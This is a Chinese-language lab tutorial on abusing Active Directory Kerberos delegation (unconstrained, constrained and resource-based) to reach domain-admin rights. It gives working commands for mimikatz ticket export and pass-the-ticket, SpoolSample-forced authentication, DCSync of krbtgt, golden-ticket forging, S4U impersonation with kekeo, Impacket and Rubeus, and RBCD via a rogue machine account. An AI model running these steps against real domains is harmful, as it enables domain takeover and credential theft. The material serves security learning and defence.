0x00 前言

在Windows 2000 Server首次发布Active Directory时,Microsoft必须提供一种简单的机制来支持用户通过Kerberos向Web Server进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为“ Kerberos双跳问题”,并且要求进行委派,以便Web Server在修改数据库记录时模拟用户。

域委派是大型网络中经常部署的应用模式,给多跳认证带来很大的便利,同时也带来很大的安全隐患,利用 委派可获取域管理员权限,甚至制作深度隐藏的后门域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。

域委派是指:将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。需要注意的是在域内可以委派的账户有两种,一种是主机账户,另一种是服务账户(域用户通过注册SPN也可以成为服务账号)。

服务账号可以看另外一篇文章了解:域渗透-SPN

Kerberos委派主要分为三种:

  • 非约束委派(Unconstrained Delegation)
  • 约束委派(Constrained Delegation)
  • 基于资源的约束委派(Resource-Based Constrained Delegation)

本文先实战后理论,因为我在学习相关的知识的时候,这里面的理论特别,而且复杂。采用先实战的方式,让大家先感受这个技术在实战当中的利用方式和影响,对后面了解理论的时候就没那么枯燥。

0x01 非约束委派

非约束委派的攻击方法中有两种:

  1. 设置主机账户为非约束委派,通过域管理账户对该主机账户进行访问,留下票据在该主机账户下,然后拿该票据去写入内存,从而可以利用域管理的TGT去访问域控。
  2. 设置服务账号为非约束委派,通过域管理账户对该服务进行访问,留下票据在该主机账户下,然后拿该票据去写入内存,从而可以利用域管理的TGT去访问域控。(实践后这种无论是通过HTTP或者MSSQL服务的kerberos都不会留下票据在该主机)

而且通过文章利用域委派获取域管理权限中的的非约束服务账号的攻击也是没有办法复现(貌似这种方法是约束派的攻击,不知道是不是笔者笔误导致的)

原文段落描述:由于sqlsvc被设置为非约束性委派,因此可以利用刚才伪造的sqlsvc票据,向域服务器发起申请访问域服务器service 1服务的管理员权限的TGS的命令。

环境

域:hack.lab

域控服务器:172.16.0.106 域管理用户:dc_admin 域控主机名:dc

域内主机:172.16.0.105 本地管理员:sc92n 域控主机名:win7a

我们要配置一下域内主机win7a的主机账户为非约束委派,我们先在域控172.16.0.106上面操作:

1

这样我们的实验环境就基本完成了,下面就开始实战攻击。

实战

我们在域控服务器上使用域管理员dc_admin对win7a进行远程文件访问(service 1服务):

2

现在我们再来到win7a上面,使用本地管理员sc92n启动mimikatz工具导出票据:

sekurlsa::tickets /export

执行后会在当前目录生成域管理员的TGT票据:

3

我们现在只需要把该票据导入内存即可:

kerberos::ptt [email protected]

导入后我们从win7a主机就能访问域控dc上面的文件了:

4

如果想执行命令,可以使用WinRM服务来远程连接域控服务器,Windows Server 2012及以上默认是开启WinRM服务的。

Windows Server 2008 R2需要执行以下命令开启WinRM服务:

winrm quickconfig -q

这条命令运行后会自动添加防火墙策略,防火墙默认会放行5985端口的

我们使用powerhsell执行以下命令:

Enter-PSSession -ComputerName DC

-ComputerName指定主机名 如果WinRM服务端口改了的话,可以用-Port指定WinRM端口,默认是5985

如下图所示:

5

原理

服务(如WIN7A) 被配置了非约束的委派,那么WIN7A可以接受任何用户的委派的去请求其他所有服务。在协议层面的实现就是,某个用户委托WIN7A去访问某个服务,那么这个用户会将 TGT(在TGS里面)发送到WIN7A并缓存到LSASS中,以方便以后使用。 然后WIN7A模拟用户去请求某个服务。

相信大家都在很多文章中看到下面这张图,是来自微软官方:

6

主要的流程如下:

  1. 用户(dc_admin)通过发送 KRB_AS_REQ 消息向密钥分发中心 (KDC) 进行身份验证,该消息是身份验证服务 (AS) 交换中的请求消息,并请求可转发的 TGT。
  2. KDC 在 KRB_AS_REP 消息中返回一个可转发的 TGT,这是身份验证服务 (AS) 交换中的响应消息。
  3. 用户(dc_admin)根据步骤 2 中的可转发 TGT 请求转发 TGT,这是通过 KRB_TGS_REQ 消息完成的。
  4. KDC 在 KRB_TGS_REP 消息中为用户(dc_admin)返回一个转发的 TGT。
  5. 用户(dc_admin)使用步骤 2 中返回的 TGT 向服务 1(service 1/WIN7A) 请求服务票证。这是通过 KRB_TGS_REQ 消息完成的。
  6. 票证授予服务 (TGS) 在 KRB_TGS_REP 中返回服务票证。
  7. 用户通过发送 KRB_AP_REQ 消息向服务 1(service 1) 发出请求,提供服务票证(ST)、转发的 TGT 和转发的 TGT 的会话密钥。
  8. 为了满足用户(dc_admin)的请求,服务 1 (service 1) 需要服务 2 (其他服务)代表用户执行一些操作,服务 1 使用转发的用户 TGT 并将其以 KRB_TGS_REQ 的形式发送到 KDC,以用户的名义请求服务 2 的票证。
  9. KDC 在 KRB_TGS_REP 消息中将服务 2 的票证连同服务 1 可以使用的会话密钥一起返回给服务 1,票证将客户端标识为用户(dc_admin),而不是服务 1 (service 1)。
  10. 服务 1 (service 1)作为用户(dc_admin)通过 KRB_AP_REQ 向服务 2 (其他服务)发出请求。
  11. 服务 2(其他服务) 响应。
  12. 通过该响应,服务 1 现在可以响应用户(dc_admin)在步骤 7 中的请求。
  13. 此处描述的 TGT 转发委派机制不限制服务 1 使用转发的 TGT,服务 1 可以以用户(dc_admin)的名义向 KDC 索要任何其他服务的票证。
  14. KDC 将返回请求的票证。
  15. 然后,服务 1 (service 1/WIN7A)可以继续使用服务 N (其他服务)冒充用户(dc_admin)进行访问。

下面是设置了非约束的的主机WIN7A:

1

我们在域控的ADSI 编辑器(adsiedit.msc)中查询,主机账户WIN7A属性中的一项userAccountControl:

7

这一项包含了TRUSTED_FOR_DELEGATION(非约束委派),对应的值是 0x80000 ,也就是 524288。为什么会显示528384呢,如果用这个数值减去524288就会得到WORKSTATION_TRUST_ACCOUNT的数值4096。

如果设置了服务账号,减去524288,就会得到66048,因为NORMAL_ACCOUNT (512) + DONT_EXPIRE_PASSWORD (65536) = 66048。

具体可以阅读文章:Converting UserAccountControl Attribute Values in Active Directory

通过这个524288数值我们就可以知道怎么去查找存在非约束的主机账户或者服务账号了,下面会有介绍到。

发现非约束委派信息

AdFind

AdFind工具使用LDAP协议查询域内的各种信息,下面是查询非约束委派主机账号:

AdFind.exe -b "DC=hack,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

结果如下图:

8

域控默认设置为非约束委派

如果是服务账号,执行下面的语句:

AdFind.exe -b "DC=hack,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

UserAccountControl:1.2.840.113556.1.4.803:=524288 表示在AD中所有存在非约束的账号

sAMAccountType=805306369 表示在AD总的所有账号

PowerView

PowerView.ps1是PowerSploit工具包中的一款脚本,用法如下。

查询非约束的主机账户:

powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Get-NetComputer -Unconstrained -Domain hack.lab }"

9

查询非约束的服务账户:

powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-NetUser -Unconstrained -Domain hack.lab | select name }"

最新的脚本中Get-NetUser没有 -Unconstrained参数

findDelegation.py

findDelegation.py是集成在impacket工具包中的一款工具,具体用法如下:

findDelegation.py -dc-ip 172.16.0.106 -target-domain hack.lab hack.lab/lucky:p@ssw0rd

结果如图所示:

10

这款工具分别查询出了存在非约束的主机用户和服务用户。

ldapsearch

这款是kali自带,可以在域外使用。

查找域中配置非约束委派的主机:

ldapsearch -x -H ldap://172.16.0.106:389 -D "CN=lucky,CN=Users,DC=hack,DC=lab" -w p@ssw0rd -b "DC=hack,DC=lab" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

结果如图:

11

查找域中配置非约束委派的用户:

ldapsearch -x -H ldap://172.16.0.106:389 -D "CN=lucky,CN=Users,DC=hack,DC=lab" -w p@ssw0rd -b "DC=hack,DC=lab" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

结果如图:

12

非约束委派+spooler打印机

我们都知道,高权限用户是不会主动去访问你的,除非是你拿到了web服务器这种。

看到harmj0y大佬发的一篇文章The Unintended Risks of Trusting Active Directory

可以利用域控或者其他服务器上面的spooler服务去主动访问我们的主机,这里面会用到两个工具,一个是RubeusSpoolSample

两个工具都需要自己去编译后使用,其实很简单的,你下个vs然后打开解决方案文件重新生成就行了。在之前的一篇文章中有写到这款工具的编译域渗透-AS_REPRoasting

环境部署

域:hack.lab

域控服务器:172.16.0.106 域管理用户:dc_admin 域控主机名:dc

域内主机:172.16.0.111 本地管理员:xd32 域普通用户:tessql 域控主机名:sql

我们先在域控把主机SQL开启非约束委派:

13

实战

我们整个过程都是在SQL主机上进行操作了,这里要注意一点:

Rubeus在本地管理员运行,因为要读取系统记录日志。

SpoolSample在域用户下运行,要不然你无法使用MS-RPRN协议进行通信。

我们在本地管理员xd32下使用管理员模式打开cmd,输入我们要监控的域控名称:

Rubeus.exe monitor /interval:1 /filteruser:dc$

如下图所示:

14

好了,现在我们再在SQL主机登录另外一个用户,也就是域用户testsql,启动SpoolSample,输入域控名和非约束委派的主机名:

SpoolSample.exe dc sql

如下图所示:

15

我们再换回本地管理员,已经捕获到了域控的TGT了:

16

这个TGT是base64位的,我们有两种方法去导入内存。

注意一下在cmd中复制出来的字符,可以参考文章使用notepad++操作:Notepad++中查找替换回车符

方法一:

使用powershell的base64转换功能:

[IO.File]::WriteAllBytes("dc.kirbi",[Convert]::FromBase64String("捕获到的base64编码"))

18

它会在当前目录下生成dc.kirbi文件,现在我们直接用mimikatz导入票据即可:

kerberos::ptt dc.kirbi

如下图所示:

17

方法二:

使用Rubeus工具直接把base64字符串导入票据:

Rubeus.exe ptt /ticket:base64

19

我们再用mimikatz导出票据:

privilege::debug
sekurlsa::tickets /export

20

然后在mimikatz把票据写入内存:

kerberos::ptt [0;965be][email protected]

21

我们已经有了域控的TGT,就可以使用mimikatz的dcsync功能导出krbtgt的hash来制作黄金票据:

lsadump::dcsync /domain:hack.lab /user:hack\krbtgt

22

黄金票据可以在另外一篇文章进行了解:域渗透-票据传递攻击

记录一下krbtgt的sid和ntlm hash:

sid:S-1-5-21-3896163557-1645138957-2306563325

ntlm hash:79f9b4b4e9ffced451fb812cac908bb6

下面就开始用mimikatz来制作黄金票据:

kerberos::golden /domain:hack.lab /sid:S-1-5-21-3896163557-1645138957-2306563325 /krbtgt:79f9b4b4e9ffced451fb812cac908bb6 /user:fakeuser /ptt

制作完成就可以访问dc服务器了:

23

0x02 约束委派

有非约束委派那肯定就有约束委派啦,微软很早就意识到非约束委派并不是特别安全,在 Windows 2003上发布了"约束"委派。 其中包括一组 Kerberos 协议扩展,就是本文到的两个扩展 S4U2Self 和 S4U2Proxy。

配置它后,约束委派将限制指定服务器可以代表用户执行的服务。这需要域管理员特权(其实严谨一点是SeEnableDelegation特权,该特权很敏感,通常仅授予域管理员)才能为服务配置域帐户,并且将帐户限制为单个域。

好了,我们先开始实战再讨论其中的原理。

环境

域:hack.lab

域控服务器(server 2019):172.16.0.106 域管理用户:dc_admin 域控主机名:dc

域内主机 (Windows 10):172.16.0.111 本地管理员:xd32 域普通用户:testsql 域控主机名:sql

域内主机 (Windows 7):172.16.0.105 本地管理员:sc92n 域普通用户:testsql 域控主机名:win7a

这里分为使用主机账户和服务账户的攻击方式,不过都是大同小异。

实战-主机账户

我们先在域控把主机win7a开启约束委派,允许委派访问到SQL主机的cifs服务:

24

现在我们回到下面这台主机进行操作:

域内主机 (Windows 7):172.16.0.105    本地管理员:sc92n  域控主机名:win7a

因为我们已经等了在这台开启了约束委派的主机上了,而且拥有本地管理员权限,我们这里使用的是mimikatz工具,直接导出TGT即可:

privilege::debug
sekurlsa::tickets /export

如下图所示:

25

假如你没有导出的权限或者没有登录这台主机,但是拥有主机账户的ntlm hash可以使用kekeo工具申请一张TGT:

tgt::ask /user:win7a$ /domain:hack.lab /ntlm:主机账户的hash

如果是使用密码就把ntlm改成password即可

如下图所示:

26

现在我们使用这张TGT伪造一张域管理员的票据,去申请访问SQL主机的cifs服务,我们在kekeo执行下面的命令:

tgs::s4u /tgt:[email protected][email protected] /user:dc_admin /service:cifs/sql.hack.lab

如下图所示:

27

现在我们就拿着这张伪造的票据使用kekeo或者mimikatz导入内存,然后访问SQL主机上面的文件,还可以访问域管理员在SQL主机登录后留下的文件:

28

实战-服务账号(生成黄金票据)

既然上面介绍了主机账户约束委派的攻击,实现了伪造域控管理员远程访问SQL主机的cifs服务。

服务账号也是一样的操作,只不过是把参数里面的user更换成服务账号就行了,下面我们可以利用这种攻击方式实现生成黄金票据。

我们都知道TGT的生成是由krbtgt用户加密和签名的,如果我们能委派域上的用户去访问TGS,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用krbtgt的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。

由于krbtgt默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN。我们可以使用powershell在域控上面来添加:

Import-Module ActiveDirectory
$user = Get-ADUser testsql
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/hack.lab") }

:域控默认安装ActiveDirectory,如果没有安装,可以下载dll:下载地址,然后导入就行了:import-module .\Microsoft.ActiveDirectory.Management.dll

执行后会在GUI界面看到krbtgt已经被添加到里面了:

29

同学们如果发现自己设置的用户没有委派的选项,那是还没有成为服务账号,可以通过博客的另外一篇文章域渗透-SPN学习

或者临时加一个输入setspn -s MSSQLSvc/win7a.hack.lab testsql ,这样testsql就成为服务账号了

好了,现在我们回到win7a的主机上。我们现在有两种情况:

  • 拿到win7a主机的本地管理员权限,发现testsql用户在本机登录过,但没有密码,可以使用mimikatz导出TGT伪造TGS
  • 拿到testsql用户的hash或者密码,直接申请TGT,然后伪造TGS(这个过程不需要管理员权限)

kekeo

相信大家通过上面的实战已经很熟悉了,下面我们就利用testsql用户就行攻击,现在我们已经知道了该用户的密码,我们使用kekeo申请一张TGT:

kekeo.exe "tgt::ask /user:testsql /domain:hack.lab /password:p@ssw0rd" exit

如下图:

30

下面我们通过这张TGT申请获取HACK\dc_admin访问krbtgt/HACK.LAB的TGS,即HACK\dc_admin的TGT:

kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:krbtgt/HACK.LAB" exit

出现了报错:

31

后来看先知的一篇文章知道:2012 及以后的KDC,受限委派的机制变成了Resource Based Constrained Delegation导致的

这里我又重新使用Windows Server 2008搭建了一个域和域内主机,具体环境如下:

域:safe.lab

域控服务器(server 2008):172.16.0.118 域管理用户:dc_admin 域控主机名:dc2008

域内主机 (Windows 7):172.16.0.108 本地管理员:sc92n 域普通用户:test 域控主机名:win7c

重新设置了服务账号和添加krbtgt:

setspn -s MSSQLSvc/win7c.safe.lab test
Import-Module ActiveDirectory
$user = Get-ADUser test
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/safe.lab") }

设置如下:

32

现在我们使用test用户登录在win7c上使用kekeo工具进行操作:

kekeo.exe "tgt::ask /user:test /domain:safe.lab /password:p@ssw0rd" exit
kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:krbtgt/SAFE.LAB" exit

可以看到已经成功申请到Administrator的TGT票据了:

33

我们继续把生成的TGT票据进行导入内存:

kekeo.exe "kerberos::ptt /tgt:[email protected]@[email protected]" exit

并连接winrm服务,Windows Server 2008 R2需要执行以下命令开启WinRM服务:

winrm quickconfig -q
Enter-PSSession -ComputerName DC

可以看到我们可以已经控制了域控服务器了:

34

Impacket

我们还可以用impacket系列的getST向KDC请求administrator的TGT,当中相关的配置可以去参考域渗透-票据传递攻击

那下面我们就开始操作,kali新版是内置了impacket的,直接执行即可:

getST.py -dc-ip 172.16.0.118 -spn krbtgt/safe.lab -impersonate Administrator safe.lab/test:p@ssw0rd

-impersonate:表示伪造用户

-spn:表示我们要委派的服务的spn,这里是TGS

-dc-ip:域控ip

执行之后会在当前目录生成一个缓存文件Administrator.ccache,如下图所示:

35

还是讲一下krb5的配置吧,在kali的/etc/hosts文件中添加下面内容:

172.16.0.118 safe.lab
172.16.0.108 win7c
172.16.0.118 dc2008

设置/etc/krb5.conf:

[libdefaults]
        default_realm = safe.lab
[realms]
        safe.lab = {
                kdc = tcp/dc2008:88
        }

设置一下环境变量:

export KRB5CCNAME=Administrator.ccache

最后用psexec.py去连接:

psexec.py safe.lab/administrator@dc2008 -k -no-pass

可以看到已经拿到域控的权限了:

36

原理

微软很早就意识到非约束委派并不是特别安全,在 Windows 2003上发布了"约束"委派。 其中包括一组 Kerberos 协议扩展,也就是 S4U2Self 和 S4U2Proxy两个扩展,这两个扩展都允许服务代表用户从KDC请求票证。

其中S4U支持两个子协议:Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy),这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的可转发的Kerberos服务票据(ST1)S4U2proxy可以以用户的名义请求其它服务的ST2,约束委派就是限制了S4U2proxy扩展的范围。

其中:

S4U2Self(用用户的TGT向KDC请求用户的可转发的ST1,再用这张ST1去发起S4U2proxy请求。) 通过此扩展可以拿到一张标识任意用户身份的ST,它的作用其实是协议转换。有时用户会通过其他协议(例如NTLM或什至基于表单的身份验证)对服务进行身份验证,因此他们不会将TGS发送给服务。在这种情况下,服务可以调用S4U2Self来要求身份验证服务为其自身的任意用户生成TGS,然后可以在调用S4U2Proxy时将其用作依据。例如网站A服务器可以使用它去向KDC请求一张用户B身份的ST1,网站A服务器再用这张ST1去发起S4U2proxy请求。

S4U2proxy(拿用户的可转发的ST1请求用于访问服务器的ST2) 该拓展作用是使用一张用户A身份的ST1去向KDC请求一张用于访问文件服务器B的ST2,这张ST2的身份还是用户的,这样的话网站A就可以利用用户A的权限去访问文件服务器B上的文件了。

Server-for-User-to-Self (S4U2self)扩展旨在用于用户以某种方式而不是使用 Kerberos 对服务进行身份验证时使用。例如,用户可以通过 Web 服务器专用的某种方式向 Web 服务器进行身份验证。然后,Web 服务器可以使用 S4U2self 获取带有授权数据的票证,就像用户最初使用 Kerberos 一样。 这通过使所有决策路径的行为就像使用了 Kerberos 一样简化了服务器的授权决策。S4U2self 主要使用 KDC 来获取有关用户的信息,以使调用者自己受益。用户代理服务 (S4U2proxy )扩展允许呼叫者联系其他一些服务,代表用户行事。下图给出了详细的概述。

S4U2self 和 S4U2proxy

图 2:S4U2self 和 S4U2proxy

S4U2self 描述在上图的上半部分。使用此扩展,服务会接收到服务本身的服务票证(不能在其他地方使用的票证)。

上图描述了以下协议步骤:

  1. 用户的机器向服务 1 发出请求。用户通过了身份验证,但服务 1 没有用户的授权数据。这通常是由于身份验证是通过 Kerberos 以外的其他方式执行的。

  2. 服务 1 已通过 KDC 进行身份验证并获得其 TGT,通过 S4U2self 扩展代表指定用户向自己请求服务票证。 用户由S4U2self 数据中的用户名和用户领域名称标识。或者,如果服务 1 拥有用户的证书,它可以使用证书向 KDC 使用PA-S4U-X509-USER 结构识别用户。

  3. KDC 会返回一个发往服务 1 的服务票证,就好像它是使用用户自己的 TGT 向用户请求的一样。服务票证可能包含用户的授权数据。

  4. 服务 1 可以使用服务票证中的授权数据来满足用户的请求。然后服务响应用户。

    尽管 S4U2self 向服务 1 提供有关用户的信息,但此扩展不允许服务 1 代表用户提出其他服务的请求。这就是S4U2proxy的作用。这里就是为什么受限的原因了

  5. 用户的机器向服务 1 发出请求。服务 1 需要以用户身份访问服务 2 上的资源。但是,服务 1 没有来自用户的转发 TGT 来通过转发 TGT 执行委派,如图中指定使用转发 TGT 的 Kerberos 委派中所述。两个前提条件适用于此步骤。首先,服务 1 已经通过 KDC 进行了身份验证,并且具有有效的 TGT。其次,服务 1 有一个从用户到服务 1 的可转发服务票证。这个可转发服务票证可能是通过 [RFC4120] 第 3.2 节中指定的KRB_AP_REQ 消息或通过 S4U2self 请求获得的。

  6. 服务 1 代表指定用户向服务 2 请求服务票证。用户由服务 1 的服务票证中的客户端名称和客户领域标识。要返回的票证中的授权数据也从服务票证中复制。

  7. 如果请求中包含特权属性证书 (PAC),则 KDC 通过检查 PAC 结构的签名数据来验证 PAC,如[MS-PAC] 第 2.8 节中所述。如果 PAC 有效或不存在,KDC 会返回服务 2 的服务票证,但存储在服务票证的cnamecrealm 字段中的客户端身份是用户的身份,而不是服务 1 的身份。

  8. 服务 1 使用服务票证向服务 2 发出请求。服务 2 将此请求视为来自用户,并假定用户已通过 KDC 身份验证。

  9. 服务 2 响应请求。

  10. 服务 1 响应用户对消息 5 的请求。

简而言之一句话: 如果 service1 有了 protocol transition 权限的话,service1 可以以任何一个域内用户的身份向 KDC 申请一张访问 service1 自身的票据,而且不需要知道目标用户的密码。比如 service1 可以以域管理员 Administrator 的身份向 KDC 申请一张访问 service1自身的票据。(如果你能找到这么一个服务,并且可以通过这个服务执行代码的话,你是有可能直接利用这个功能提权至域管理员的,当然这个时候你获取到的域管权限是被限制在这台机器上的,无法访问别的服务器。)

所以大家也可以想想约束委派和非约束委派的区别,首先非约束委派要域管理员访问才能获取到TGT,而约束委派则是能调用S4U2这个协议获取到任何域内用户的TGT,约束的点也在这个协议上,所以它拿到的TGS也就是ST票据也有局限性。

通过命令行打开adsiedit.msc查看testsql用户属性,可以看到:

当被设置为约束委派的时候,它的userAccountControl会包含TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION字段。

37

并且比非约束委派的账户多了msDS-AllowedToDelegateTo字段,里面包含了允许委派的服务:

38

发现约束委派信息

AdFind

AdFind工具使用LDAP协议查询域内的各种信息,下面是查询约束委派服务账号以及对应的委派对象:

AdFind.exe -b "DC=hack,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

39

当然也可以查询约束委派主机账号以及对应的委派对象:

AdFind.exe -b "DC=hack,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

PowerView

查询约束委派的服务账号:

powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Get-DomainUser -TrustedToAuth -Domain hack.lab | select name }"

40

查询约束委派的主机账号:

powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Get-DomainComputer -TrustedToAuth -Domain hack.lab | select name}"

indDelegation.py

findDelegation.py是集成在impacket工具包中的一款工具,具体用法如下:

findDelegation.py -dc-ip 172.16.0.106 -target-domain hack.lab hack.lab/lucky:p@ssw0rd

结果如图所示:

41

ldapsearch

这款是kali自带,可以在域外使用。

查找域中配置约束委派的服务账号:

ldapsearch -LLL -x -H ldap://172.16.0.106:389 -D "[email protected]" -w "p@ssw0rd" -b dc=hack,dc=lab  "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

42

查找域中配置约束委派的主机账号:

ldapsearch -LLL -x -H ldap://172.16.0.106:389 -D "[email protected]" -w "p@ssw0rd" -b dc=hack,dc=lab  "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

0x03 基于资源的约束委派(RBCD)

原理

这个还是得从原理开始介绍,下面大家跟着了解一下再实战。

传统的委派,在设置的过程中其实都是需要SeEnableDelegation特权,而这个特权需要域管理员才能设置。相对于传统的委派,基于资源的约束委派它不需要域管理员设置,而是机器本身。

约束委派和基于资源的约束委派的区别:

前者:通过服务A委派到服务B,实际是在服务A上增加TRUSTED_FOR_DELEGATION字段(非约束委派),TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION和msDS-AllowedToDelegateTo (约束委派)字段来达到委派的目的。

后者:通过服务B允许服务A委派到服务B,实际是通过服务B自身赋予msDS-AllowedToActOnBehalfOfOtherIdentity字段,从而允许服务A对服务B的基于资源的约束委派。

所以当利用到基于资源的约束委派的时候,服务A的两个字段是没有赋值的,当这两个字段没有被赋值的时候,通过S4U2Self得到的ST服务票证是不可被转发的,而S4U2Proxy的作用就是将可转发的ST票据转发到其他服务进行委派认证。但是:在基于资源的约束委派过程中,不可转发的ST仍可以通过S4U2Proxy转发到其他服务进行委派认证,并且最后还会返回一张可转发的ST服务票证。

因此,如果能够在服务B上配置允许服务A的基于资源的约束委派,那么就可以通过控制服务A使用S4U2Self向域控请求任意用户访问自身的服务票据,最后再使用S4U2Proxy转发此ST1票据去请求访问服务B的可转发的ST2服务票据,就可以模拟任意用户访问服务B了。这里可以以普通域用户的身份去创建机器账号作为服务A。

简单的讲,也就是如果攻击者能够在Service B的机器上设置msDS-AllowedToActOnBehalfOfOtherIdentity属性为Service A,也就允许Service A利用s4u2self协议代表其他用户身份来访问Service B的话,那我们就可以做到提权等操作。

43

那怎么才有设置msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限呢,也就是有WriteProperty的权限。

举个例子:小明刚来到公司入职,公司发了一个账号lucky和密码为p@ssword让他设置一下新电脑。他需要把新电脑加入域hack.lab,于是他开始操作:

45

win7a (机器名)这台机器在加域的时候填写的域内账户是 lucky,那么 lucky 这个域用户就有修改 win7a (机器名)这台主机的msDS-AllowedToActOnBehalfOfOtherIdentity 属性的权限。

在大型内网域环境中,将机器加入到域环境中一般不会用域管权限,而是用一个专门加域的域用户(例如上图的 lucky 就是一个加域用户)去操作。那么当我们拿下该域用户的账号密码时,就可以把通过该域用户加入到域里的所有机器都拿下。

默认情况下以下账户拥有修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限:

  • Domain Admins(域管理员)
  • mS-DS-CreatorSID(将该机器加入域的账户)
  • NT AUTHORITY\SELF(机器账户本身)

查找可控的机器

攻击者可以查询域内计算机的 mS-DS-CreatorSID,这个值代表的是将计算机加入到域内的用户,它是具有修改 msDS-AllowedToActOnBehalfOfOtherIdentity的权限的,如果我们可以拿到那个用户的凭据,就可以控制那个用户添加到域内的所有的电脑。

关于mS-DS-CreatorSID这个值,我们可以使用adsiedit.msc查看,也可以使用AdExplorer进行查询:

46

那这个1114就是对应我们加入域的用户了,可以在lucky登录情况下使用whoami /all 来查询:

47

那我们知道查找的原理 了,我们可以在lucky登录的任何一台机器上使用下面的工具进行查询:

AdFind

通过ADFind查找将域机器拉入域的用户的SID:

AdFind.exe -b "DC=hack,DC=lab" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

可以看到在WIN7A这台主机有sid,其他主机没有的原因是域管理员账号加入域的:

48

查看S-1-5-21-3896163557-1645138957-2306563325-1114是谁:

AdFind.exe -b "DC=hack,DC=lab" -f "(&(objectsid=S-1-5-21-3896163557-1645138957-2306563325-1114))" objectclass cn dn

可以看到是用户lucky:

49

Powerview

照样是在lucky登录的情况,利用 powerview 查看当前用户 SID,并查看当前用户对某台主机是否有写权限:

# 查看 SID
Get-DomainUser -Identity [userName] -Properties objectsid

# 查看写权限
Get-DomainObjectAcl -Identity [computerName] | ?{$_.SecurityIdentifier -match "SID"}

50

实战

利用条件

利用基于资源的约束委派(RBCD)需要2个条件:

1.拥有将域机器加入域的域用户的权限。(将机器B加入域的域用户拥有修改机器B的msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限。)

2.一个任意服务账户或者一个机器账户(每一个域用户默认可以添加10个机器账户,可以通过LDAP中的MAQ属性查看)

51

环境

域:hack.lab

域控服务器(server 2019):172.16.0.106 域管理用户:dc_admin 域控主机名:dc

域内主机 (Windows 10):172.16.0.111 本地管理员:xd32 域普通用户: 域控主机名:sql

域内主机 (Windows 7):172.16.0.105 本地管理员:sc92n 域普通用户:lucky 域控主机名:win7a

进入内网的攻击主机(Kali Linux):172.16.0.107

现在有两个情景:

  1. 安全研究员小明发现名为dc_admin的域管理用户在他电脑主机win7a上存留了一些资料,但是他没有权限查看。于是为了看这个资料,在本机展开一系列的攻击。
  2. 数据库管理员小智想查看小明的主机文件,原因是上次公司发生了病毒感染事件,就让安全研究员小明来帮忙溯源和修补漏洞,但是在数据库服务器主机名为SQL上面发现了一条数据拉取的记录,而且就是在小明来的时间段发生的。因此小智在本机导出了lucky登录的hash,并请了一个黑客朋友帮忙获取小明主机的权限,于是让黑客使用kali接入了公司内网展开了一系列攻击。

情景一

安全研究员小明,知道他的用户lucky就是在自己主机win7a加入域内的,所以lucky对win7a拥有修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限。

但是还需要创建一个机器来帮助申请票据,利用 Powermad 添加机器账户gongjuren

Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount gongjuren -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

已经成功添加:

52

接下来就是把gongjuren的sid写入win7a的AllowedToActOnBehalfOfOtherIdentity属性中,这里用脚本是PowerView.ps1

获取到gongjuren账号的sid:

Get-Domiancomputer hacksystem

把gongjuren的sid写入win7a的msds-allowedtoactonbehalfofotheridentity属性中:

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3896163557-1645138957-2306563325-1125)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer win7a | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

如下图所示:

53

验证是否添加成功:

Get-DomainComputer WIN7A -Properties msds-allowedtoactonbehalfofotheridentity

54

配置完 msDS-AllowedToActOnBehalfOfOtherIdentity 属性之后就可以通过基于资源的约束委派去攻击了。

接下来会用到一款工具Rubeus,先导出机器用户的 ntlm hash:

Rubeus.exe hash /user:gongjuren /password:123456 /domain:hack.lab

得到rc4 hash:

55

然后用 gongjuren$的 hash 请求白银票据并导入到当前会话中:

Rubeus.exe s4u /user:gongjuren$ /rc4:xxx /impersonateuser:administrator /msdsspn:cifs/win7a.hack.lab /ptt

56

并且可以看到s4u2self和s4u2proxy都是成功的:

57

查看已经有了票据:

58

